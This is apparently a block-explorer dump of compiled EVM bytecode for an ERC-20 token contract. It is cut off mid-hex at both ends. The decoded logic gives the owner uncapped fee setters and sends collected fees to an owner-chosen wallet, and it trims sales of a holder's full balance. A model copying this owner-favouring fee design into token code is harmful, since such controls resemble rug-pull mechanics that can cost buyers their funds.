fffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611549919061235d565b60405180910390a3505050565b600061156184610c53565b9050818110156115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d90612a15565b60405180910390fd5b600b60009054906101000a900460ff16156115cd576115c68484846119fb565b50506119f6565b6000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156116355750600b60009054906101000a900460ff16155b801561168b5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116e15750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116f05750601354600c54115b1561176257600083905061170330610c53565b81111561174d57600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b60008111156117605761175f81611b19565b5b505b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118065750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561181f5750600b60009054906101000a900460ff16155b156119e75760006016541161183357600080fd5b60019050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156118de5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119345750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119aa57600c600081548092919061194c90612a35565b91905055506015548361195e86610c53565b6119689190612a7d565b11156119a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a090612afd565b60405180910390fd5b5b601460009054906101000a900460ff1680156119c557508183145b156119e657612710836119d8919061285e565b836119e3919061274d565b92505b5b6119f385858584611dde565b50505b505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a4c919061274d565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611aa29190612a7d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b06919061235d565b60405180910390a3600190509392505050565b6001600b60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b5157611b50612b1d565b5b604051908082528060200260200182016040528015611b7f5781602001602082028036833780820191505090505b5090503081600081518110611b9757611b96612b4c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c629190612b90565b81600181518110611c7657611c75612b4c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d14959493929190612cb6565b600060405180830381600087803b158015611d2e57600080fd5b505af1158015611d42573d6000803e3d6000fd5b5050505060004790506000811115611dbe57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611dbc573d6000803e3d6000fd5b505b50506000600b60006101000a81548160ff02191690831515021790555050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e29919061274d565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000811561207d576000600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ee657601254600c5411611edb57600e54611edf565b6010545b9050611f53565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f5257601154600c5411611f4b57600d54611f4f565b600f545b90505b5b600060648286611f6391906127ed565b611f6d919061285e565b9050600081111561207a578083611f849190612a7d565b925080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd19190612a7d565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612071919061235d565b60405180910390a35b50505b8083612089919061274d565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120d39190612a7d565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612171919061274d565b60405161217e919061235d565b60405180910390a35050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121c75780820151818401526020810190506121ac565b60008484015250505050565b6000601f19601f8301169050919050565b60006121ef8261218d565b6121f98185612198565b93506122098185602086016121a9565b612212816121d3565b840191505092915050565b6000602082019050818103600083015261223781846121e4565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061226f82612244565b9050919050565b61227f81612264565b811461228a57600080fd5b50565b60008135905061229c81612276565b92915050565b6000819050919050565b6122b5816122a2565b81146122c057600080fd5b50565b6000813590506122d2816122ac565b92915050565b600080604083850312156122ef576122ee61223f565b5b60006122fd8582860161228d565b925050602061230e858286016122c3565b9150509250929050565b60008115159050919050565b61232d81612318565b82525050565b60006020820190506123486000830184612324565b92915050565b612357816122a2565b82525050565b6000602082019050612372600083018461234e565b92915050565b6000806000606084860312156123915761239061223f565b5b600061239f8682870161228d565b93505060206123b08682870161228d565b92505060406123c1868287016122c3565b9150509250925092565b600060ff82169050919050565b6123e1816123cb565b82525050565b60006020820190506123fc60008301846123d8565b92915050565b61240b816123cb565b811461241657600080fd5b50565b60008135905061242881612402565b92915050565b6000602082840312156124445761244361223f565b5b600061245284828501612419565b91505092915050565b6000602082840312156124715761247061223f565b5b600061247f8482850161228d565b91505092915050565b600080600080600060a086880312156124a4576124a361223f565b5b60006124b2888289016122c3565b95505060206124c3888289016122c3565b94505060406124d4888289016122c3565b93505060606124e5888289016122c3565b92505060806124f6888289016122c3565b9150509295509295909350565b61250c81612264565b82525050565b60006020820190506125276000830184612503565b92915050565b6000819050919050565b600061255261254d61254884612244565b61252d565b612244565b9050919050565b600061256482612537565b9050919050565b600061257682612559565b9050919050565b6125868161256b565b82525050565b60006020820190506125a1600083018461257d565b92915050565b60006125b282612244565b9050919050565b6125c2816125a7565b81146125cd57600080fd5b50565b6000813590506125df816125b9565b92915050565b6000602082840312156125fb576125fa61223f565b5b6000612609848285016125d0565b91505092915050565b61261b81612318565b811461262657600080fd5b50565b60008135905061263881612612565b92915050565b600080604083850312156126555761265461223f565b5b60006126638582860161228d565b925050602061267485828601612629565b9150509250929050565b600080604083850312156126955761269461223f565b5b60006126a38582860161228d565b92505060206126b48582860161228d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061270557607f821691505b602082108103612718576127176126be565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612758826122a2565b9150612763836122a2565b925082820390508181111561277b5761277a61271e565b5b92915050565b7f796f7520617265206e6f74206f776e6572000000000000000000000000000000600082015250565b60006127b7601183612198565b91506127c282612781565b602082019050919050565b600060208201905081810360008301526127e6816127aa565b9050919050565b60006127f8826122a2565b9150612803836122a2565b9250828202612811816122a2565b915082820484148315176128285761282761271e565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612869826122a2565b9150612874836122a2565b9250826128845761288361282f565b5b828204905092915050565b60008151905061289e816122ac565b92915050565b6000602082840312156128ba576128b961223f565b5b60006128c88482850161288f565b91505092915050565b60006128dc82612559565b9050919050565b6128ec816128d1565b82525050565b600060408201905061290760008301856128e3565b612914602083018461234e565b9392505050565b60008151905061292a81612612565b92915050565b6000602082840312156129465761294561223f565b5b60006129548482850161291b565b91505092915050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000612993600883612198565b915061299e8261295d565b602082019050919050565b600060208201905081810360008301526129c281612986565b9050919050565b7f62616c616e63654e6f74456e6f75676800000000000000000000000000000000600082015250565b60006129ff601083612198565b9150612a0a826129c9565b602082019050919050565b60006020820190508181036000830152612a2e816129f2565b9050919050565b6000612a40826122a2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a7257612a7161271e565b5b600182019050919050565b6000612a88826122a2565b9150612a93836122a2565b9250828201905080821115612aab57612aaa61271e565b5b92915050565b7f77616c6c65746c696d6974000000000000000000000000000000000000000000600082015250565b6000612ae7600b83612198565b9150612af282612ab1565b602082019050919050565b60006020820190508181036000830152612b1681612ada565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612b8a81612276565b92915050565b600060208284031215612ba657612ba561223f565b5b6000612bb484828501612b7b565b91505092915050565b6000819050919050565b6000612be2612bdd612bd884612bbd565b61252d565b6122a2565b9050919050565b612bf281612bc7565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612c2d81612264565b82525050565b6000612c3f8383612c24565b60208301905092915050565b6000602082019050919050565b6000612c6382612bf8565b612c6d8185612c03565b9350612c7883612c14565b8060005b83811015612ca9578151612c908882612c33565b9750612c9b83612c4b565b925050600181019050612c7c565b5085935050505092915050565b600060a082019050612ccb600083018861234e565b612cd86020830187612be9565b8181036040830152612cea8186612c58565b9050612cf96060830185612503565b612d06608083018461234e565b969550505050505056fea26469706673582212205f548f4a8ac40d6784ef591f390944651cbebf9a4414f7692c0eba84b275aca464736f6c63430008110033
Deployed Bytecode
0x6080604052600436106101a05760003560e01c806365b61b77116100ec57806395d89b411161008a578063bc76c05211610064578063bc76c052146105c3578063cefab2af146105da578063dd62ed3e14610605578063f2fde38b14610642576101a7565b806395d89b4114610532578063a67755c21461055d578063a9059cbb14610586576101a7565b806370a08231116100c657806370a082311461048a578063715018a6146104c75780638da5cb5b146104de578063936c044b14610509576101a7565b806365b61b771461041f5780636c5808011461044a5780636f39cfcd14610461576101a7565b8063313ce567116101595780633ecad271116101335780633ecad271146103635780633f80b6d7146103a05780634bf28fd0146103c9578063553193ca146103f4576101a7565b8063313ce567146102d2578063319c2f64146102fd57806336b2e02714610326576101a7565b806306fdde03146101ac578063095ea7b3146101d757806318160ddd146102145780631b5837491461023f57806323b872dd1461026a57806327b1a8e9146102a7576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c161066b565b6040516101ce919061221d565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f991906122d8565b6106fd565b60405161020b9190612333565b60405180910390f35b34801561022057600080fd5b50610229610714565b604051610236919061235d565b60405180910390f35b34801561024b57600080fd5b5061025461071e565b604051610261919061235d565b60405180910390f35b34801561027657600080fd5b50610291600480360381019061028c9190612378565b610724565b60405161029e9190612333565b60405180910390f35b3480156102b357600080fd5b506102bc6108ca565b6040516102c9919061235d565b60405180910390f35b3480156102de57600080fd5b506102e76108d0565b6040516102f491906123e7565b60405180910390f35b34801561030957600080fd5b50610324600480360381019061031f919061242e565b6108e7565b005b34801561033257600080fd5b5061034d6004803603810190610348919061245b565b6109a0565b60405161035a9190612333565b60405180910390f35b34801561036f57600080fd5b5061038a6004803603810190610385919061245b565b6109c0565b6040516103979190612333565b60405180910390f35b3480156103ac57600080fd5b506103c760048036038101906103c29190612488565b6109e0565b005b3480156103d557600080fd5b506103de610a98565b6040516103eb9190612512565b60405180910390f35b34801561040057600080fd5b50610409610abe565b604051610416919061235d565b60405180910390f35b34801561042b57600080fd5b50610434610ac4565b604051610441919061258c565b60405180910390f35b34801561045657600080fd5b5061045f610aea565b005b34801561046d57600080fd5b50610488600480360381019061048391906125e5565b610b81565b005b34801561049657600080fd5b506104b160048036038101906104ac919061245b565b610c53565b6040516104be919061235d565b60405180910390f35b3480156104d357600080fd5b506104dc610c9c565b005b3480156104ea57600080fd5b506104f3610de8565b6040516105009190612512565b60405180910390f35b34801561051557600080fd5b50610530600480360381019061052b919061263e565b610e11565b005b34801561053e57600080fd5b50610547610efa565b604051610554919061221d565b60405180910390f35b34801561056957600080fd5b50610584600480360381019061057f919061245b565b610f8c565b005b34801561059257600080fd5b506105ad60048036038101906105a891906122d8565b611146565b6040516105ba9190612333565b60405180910390f35b3480156105cf57600080fd5b506105d861115d565b005b3480156105e657600080fd5b506105ef611217565b6040516105fc9190612333565b60405180910390f35b34801561061157600080fd5b5061062c6004803603810190610627919061267e565b61122a565b604051610639919061235d565b60405180910390f35b34801561064e57600080fd5b506106696004803603810190610664919061245b565b6112b1565b005b60606004805461067a906126ed565b80601f01602080910402602001604051908101604052809291908181526020018280546106a6906126ed565b80156106f35780601f106106c8576101008083540402835291602001916106f3565b820191906000526020600020905b8154815290600101906020018083116106d657829003601f168201915b5050505050905090565b600061070a33848461146b565b6001905092915050565b6000600854905090565b60155481565b6000610731848484611556565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146108bf5781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461083e919061274d565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600c5481565b6000600660009054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c906127cd565b60405180910390fd5b60648160ff16610983610714565b61098d91906127ed565b610997919061285e565b60158190555050565b60076020528060005260406000206000915054906101000a900460ff1681565b600a6020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a65906127cd565b60405180910390fd5b84600f81905550836010819055508260118190555081601281905550806013819055505050505050565b600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6f906127cd565b60405180910390fd5b43601681905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c06906127cd565b60405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d21906127cd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e96906127cd565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b606060058054610f09906126ed565b80601f0160208091040260200160405190810160405280929190818152602001828054610f35906126ed565b8015610f825780601f10610f5757610100808354040283529160200191610f82565b820191906000526020600020905b815481529060010190602001808311610f6557829003601f168201915b5050505050905090565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611143578073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016110379190612512565b602060405180830381865afa158015611054573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107891906128a4565b6040518363ffffffff1660e01b81526004016110959291906128f2565b6020604051808303816000875af11580156110b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d89190612930565b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611141573d6000803e3d6000fd5b505b50565b6000611153338484611556565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e2906127cd565b60405180910390fd5b601460009054906101000a900460ff1615601460006101000a81548160ff021916908315150217905550565b601460009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461133f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611336906127cd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036113ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a5906129a9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611549919061235d565b60405180910390a3505050565b600061156184610c53565b9050818110156115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d90612a15565b60405180910390fd5b600b60009054906101000a900460ff16156115cd576115c68484846119fb565b50506119f6565b6000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156116355750600b60009054906101000a900460ff16155b801561168b5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116e15750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116f05750601354600c54115b1561176257600083905061170330610c53565b81111561174d57600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b60008111156117605761175f81611b19565b5b505b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118065750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561181f5750600b60009054906101000a900460ff16155b156119e75760006016541161183357600080fd5b60019050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156118de5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119345750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119aa57600c600081548092919061194c90612a35565b91905055506015548361195e86610c53565b6119689190612a7d565b11156119a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a090612afd565b60405180910390fd5b5b601460009054906101000a900460ff1680156119c557508183145b156119e657612710836119d8919061285e565b836119e3919061274d565b92505b5b6119f385858584611dde565b50505b505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a4c919061274d565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611aa29190612a7d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b06919061235d565b60405180910390a3600190509392505050565b6001600b60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b5157611b50612b1d565b5b604051908082528060200260200182016040528015611b7f5781602001602082028036833780820191505090505b5090503081600081518110611b9757611b96612b4c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c629190612b90565b81600181518110611c7657611c75612b4c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d14959493929190612cb6565b600060405180830381600087803b158015611d2e57600080fd5b505af1158015611d42573d6000803e3d6000fd5b5050505060004790506000811115611dbe57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611dbc573d6000803e3d6000fd5b505b50506000600b60006101000a81548160ff02191690831515021790555050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e29919061274d565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000811561207d576000600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ee657601254600c5411611edb57600e54611edf565b6010545b9050611f53565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f5257601154600c5411611f4b57600d54611f4f565b600f545b90505b5b600060648286611f6391906127ed565b611f6d919061285e565b9050600081111561207a578083611f849190612a7d565b925080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd19190612a7d565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612071919061235d565b60405180910390a35b50505b8083612089919061274d565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120d39190612a7d565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612171919061274d565b60405161217e919061235d565b60405180910390a35050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121c75780820151818401526020810190506121ac565b60008484015250505050565b6000601f19601f8301169050919050565b60006121ef8261218d565b6121f98185612198565b93506122098185602086016121a9565b612212816121d3565b840191505092915050565b6000602082019050818103600083015261223781846121e4565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061226f82612244565b9050919050565b61227f81612264565b811461228a57600080fd5b50565b60008135905061229c81612276565b92915050565b6000819050919050565b6122b5816122a2565b81146122c057600080fd5b50565b6000813590506122d2816122ac565b92915050565b600080604083850312156122ef576122ee61223f565b5b60006122fd8582860161228d565b925050602061230e858286016122c3565b9150509250929050565b60008115159050919050565b61232d81612318565b82525050565b60006020820190506123486000830184612324565b92915050565b612357816122a2565b82525050565b6000602082019050612372600083018461234e565b92915050565b6000806000606084860312156123915761239061223f565b5b600061239f8682870161228d565b93505060206123b08682870161228d565b92505060406123c1868287016122c3565b9150509250925092565b600060ff82169050919050565b6123e1816123cb565b82525050565b60006020820190506123fc60008301846123d8565b92915050565b61240b816123cb565b811461241657600080fd5b50565b60008135905061242881612402565b92915050565b6000602082840312156124445761244361223f565b5b600061245284828501612419565b91505092915050565b6000602082840312156124715761247061223f565b5b600061247f8482850161228d565b91505092915050565b600080600080600060a086880312156124a4576124a361223f565b5b60006124b2888289016122c3565b95505060206124c3888289016122c3565b94505060406124d4888289016122c3565b93505060606124e5888289016122c3565b92505060806124f6888289016122c3565b9150509295509295909350565b61250c81612264565b82525050565b60006020820190506125276000830184612503565b92915050565b6000819050919050565b600061255261254d61254884612244565b61252d565b612244565b9050919050565b600061256482612537565b9050919050565b600061257682612559565b9050919050565b6125868161256b565b82525050565b60006020820190506125a1600083018461257d565b92915050565b60006125b282612244565b9050919050565b6125c2816125a7565b81146125cd57600080fd5b50565b6000813590506125df816125b9565b92915050565b6000602082840312156125fb576125fa61223f565b5b6000612609848285016125d0565b91505092915050565b61261b81612318565b811461262657600080fd5b50565b60008135905061263881612612565b92915050565b600080604083850312156126555761265461223f565b5b60006126638582860161228d565b925050602061267485828601612629565b9150509250929050565b600080604083850312156126955761269461223f565b5b60006126a38582860161228d565b92505060206126b48582860161228d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061270557607f821691505b602082108103612718576127176126be565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612758826122a2565b9150612763836122a2565b925082820390508181111561277b5761277a61271e565b5b92915050565b7f796f7520617265206e6f74206f776e6572000000000000000000000000000000600082015250565b60006127b7601183612198565b91506127c282612781565b602082019050919050565b600060208201905081810360008301526127e6816127aa565b9050919050565b60006127f8826122a2565b9150612803836122a2565b9250828202612811816122a2565b915082820484148315176128285761282761271e565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000f